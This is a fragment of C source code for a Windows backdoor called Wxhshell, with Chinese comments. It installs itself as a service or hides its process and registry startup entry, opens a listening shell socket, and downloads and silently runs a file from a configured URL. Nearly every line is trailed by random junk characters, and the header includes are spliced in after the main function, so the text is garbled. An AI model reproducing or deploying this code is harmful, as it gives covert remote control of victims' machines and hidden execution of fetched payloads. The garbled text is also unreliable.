ULONG UniqueProcessId; ^g-Fg>&M
ULONG InheritedFromUniqueProcessId; C(xqvK~p
} PROCESS_BASIC_INFORMATION; 8znj~7}#
z2.*#xTZn
PROCNTQSIP NtQueryInformationProcess; `(!W s\:
O1|B3M[P
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'xQna+ %h
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K/Sq2:
.|U4N/XN%q
HANDLE hProcess; L>0!B8X2
PROCESS_BASIC_INFORMATION pbi; kpl~/i`4
=?wMESU
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NoJUx['6
if(NULL == hInst ) return 0; I Jqv w
692Rw}/
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &3WkH W
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2rF?Q?$,B
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4 |FRg
NP$e-" 1
if (!NtQueryInformationProcess) return 0; *&(2`#C;
`}[VwQ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1 pa*T!
if(!hProcess) return 0; nG!&u1*
KlY,NSlQ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %A8Pkr<&E
-QN1oK@\mE
CloseHandle(hProcess); aMBL1d7
j p!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *1\z^4=a]
if(hProcess==NULL) return 0; 1V-=$Q3
V7
W]Y@WKeT
HMODULE hMod; JL?Cnk$!
char procName[255]; 45?*:)l:
unsigned long cbNeeded; ||yXp2
&$<(D0
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *Kp}B}}J
KbXbT
CloseHandle(hProcess); dFdlB`L
6 #-6Bh)>4
if(strstr(procName,"services")) return 1; // 以服务启动 oSN8Xn*qr
8mk}nex
return 0; // 注册表启动
T"n>h
} TNyK@~#m
f#'8"ff*1
// 主模块 AGl|>f)
int StartWxhshell(LPSTR lpCmdLine) zhuyePn
{ 67}]s@:l](
SOCKET wsl; zv$Gma_
BOOL val=TRUE; wEBtre7
int port=0; zt-'SY
struct sockaddr_in door; : :F!
NQDLI 1o
if(wscfg.ws_autoins) Install(); aUKh})B
UedvA9$&;
port=atoi(lpCmdLine); /!^L69um
o9_(DJ<{
if(port<=0) port=wscfg.ws_port; _Wm(/ +G_|
]|Ow_z8
O
WSADATA data; N8,EI^W8Z
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X!,#'&p&
8FB\0LA!g
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; nw~/~eM5=
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;%BhhmR)[
door.sin_family = AF_INET; ~!8%_J _
door.sin_addr.s_addr = inet_addr("127.0.0.1"); n^* >a
door.sin_port = htons(port); @*CAn(@#N
;[;)P tFz\
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LN@lrC7X
closesocket(wsl); %T`4!:vy
return 1; q:TZ=bs^
} fn1 ?Qp|
H;b8I
if(listen(wsl,2) == INVALID_SOCKET) { tn"Y9
k|
closesocket(wsl); ATKYjhc _
return 1; \Ku9"x
} 'dmp4VT3
Wxhshell(wsl); N90\]dFmy
WSACleanup(); jHs<s`#h
3C>2x(]M
return 0; HF*j`}
Xy[4f=X}z
} {D;Xa`:O
fQ=&@ >e
// 以NT服务方式启动 &Pmc"9Rl
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )p^m}N 6M]
{ >E//pr)_Km
DWORD status = 0; zkjPLeX
DWORD specificError = 0xfffffff; hknwis%y
fl} rz
serviceStatus.dwServiceType = SERVICE_WIN32; E9yFREvQc
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6'RZ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z-N-9E
serviceStatus.dwWin32ExitCode = 0; $w|o@ Ml)
serviceStatus.dwServiceSpecificExitCode = 0; :SpG&\+
serviceStatus.dwCheckPoint = 0; 0MwG}|RC
serviceStatus.dwWaitHint = 0; *4(/t$)pEl
XX]5T`D
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "\VW.S
if (hServiceStatusHandle==0) return; GOv92$e
y+K7WUwhq
status = GetLastError(); AzHIp^
if (status!=NO_ERROR) P`\m9"7
{ ke3HK9P;
serviceStatus.dwCurrentState = SERVICE_STOPPED; - XE79 fQ
serviceStatus.dwCheckPoint = 0; /2g)Z!&+L
serviceStatus.dwWaitHint = 0; 1VhoJGH;C
serviceStatus.dwWin32ExitCode = status; IUh5r(d 68
serviceStatus.dwServiceSpecificExitCode = specificError; 5en
[)3E
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L eG7x7n
return; .\z|Fr
} ^ 4u3Q
m&Y;/kr
serviceStatus.dwCurrentState = SERVICE_RUNNING; *k3 d^9o#
serviceStatus.dwCheckPoint = 0; B(4:_j\2
serviceStatus.dwWaitHint = 0; Z]mM
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /E`l:&89)
} l%sp[uqcg
{ED(O-W
// 处理NT服务事件,比如:启动、停止 5]4<!m
VOID WINAPI NTServiceHandler(DWORD fdwControl) AJ;u&&c4C\
{ ka?IX9t\
switch(fdwControl) L Q I: ]d
{ )
xfc-Q
case SERVICE_CONTROL_STOP: Bq$e|t)'
serviceStatus.dwWin32ExitCode = 0; -4*'WzWr
serviceStatus.dwCurrentState = SERVICE_STOPPED; s=^r/Sz902
serviceStatus.dwCheckPoint = 0; ~pd1)
serviceStatus.dwWaitHint = 0; jSeA%Te
{ T+AlcOP
SetServiceStatus(hServiceStatusHandle, &serviceStatus); xJ[k#?T'
} s${T*)S@G
return; 'k-u9
case SERVICE_CONTROL_PAUSE: <|KKv5[
serviceStatus.dwCurrentState = SERVICE_PAUSED; ]MqH13`)A
break; w8m8r`h
case SERVICE_CONTROL_CONTINUE: <?q&PCAn^
serviceStatus.dwCurrentState = SERVICE_RUNNING; YLA557~
break; IyG=
7
case SERVICE_CONTROL_INTERROGATE: yNhscAMNn
break; Y{Y;EY4
}; ps!5HZ2:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vq\..!y
} U}RS*7`
VgFF+Eg
// 标准应用程序主函数 b*'=W"%\
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !LHzY(
{ zCBtD_@
y~]IVl"
// 获取操作系统版本 fG8}= xH_&
OsIsNt=GetOsVer(); #.\,y>`
GetModuleFileName(NULL,ExeFile,MAX_PATH); [p( #WM:
AhbT/
// 从命令行安装 ADLa.{
if(strpbrk(lpCmdLine,"iI")) Install(); 1c<CEq:?e%
66^1&D"
// 下载执行文件 in=k:j,U0
if(wscfg.ws_downexe) { )}k?r5g
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c{m
;"ZCFS
WinExec(wscfg.ws_filenam,SW_HIDE); gCk y(4
} =E{{/%u{{S
!OuTXa,IH
if(!OsIsNt) { s%L"
c
// 如果时win9x,隐藏进程并且设置为注册表启动 RAg|V:/M
HideProc(); VQNYQqu`[
StartWxhshell(lpCmdLine); ~`G;=ITo
} K\^&_#MG
else 9z|>roNe
if(StartFromService()) L6[rvM|9_
// 以服务方式启动 L5zG0mC8
StartServiceCtrlDispatcher(DispatchTable); DK@w^ZW6JA
else N1s$3Ul
// 普通方式启动 \4\\575zp'
StartWxhshell(lpCmdLine); c5B_WqjJ
gq/ePSa
return 0; qSpa4W[
} +c]N]?k&
9?g]qy,1)
(:fE _H2z
zCGmn& *M
=========================================== ZyS;+"
7?Qt2tr
D)O6|DiO
0'V-
pE(<XD3Q
L6rs9su=7
" (.quX@w"m
,rH)}C<Q+
#include <stdio.h> &-8-xw#.
#include <string.h> ~P]HG;$?n
#include <windows.h> -hG 9
#include <winsock2.h> r_g\_y7ua
#include <winsvc.h> Cb@S </b
#include <urlmon.h> ohc/.5Kl
S0Bl?XsD_
#pragma comment (lib, "Ws2_32.lib") _ntW}})K
#pragma comment (lib, "urlmon.lib") I(?|Ox9"?
!0. 5
#define MAX_USER 100 // 最大客户端连接数 pzt Zb
#define BUF_SOCK 200 // sock buffer px
[1# *
#define KEY_BUFF 255 // 输入 buffer 5QL9w3L
5&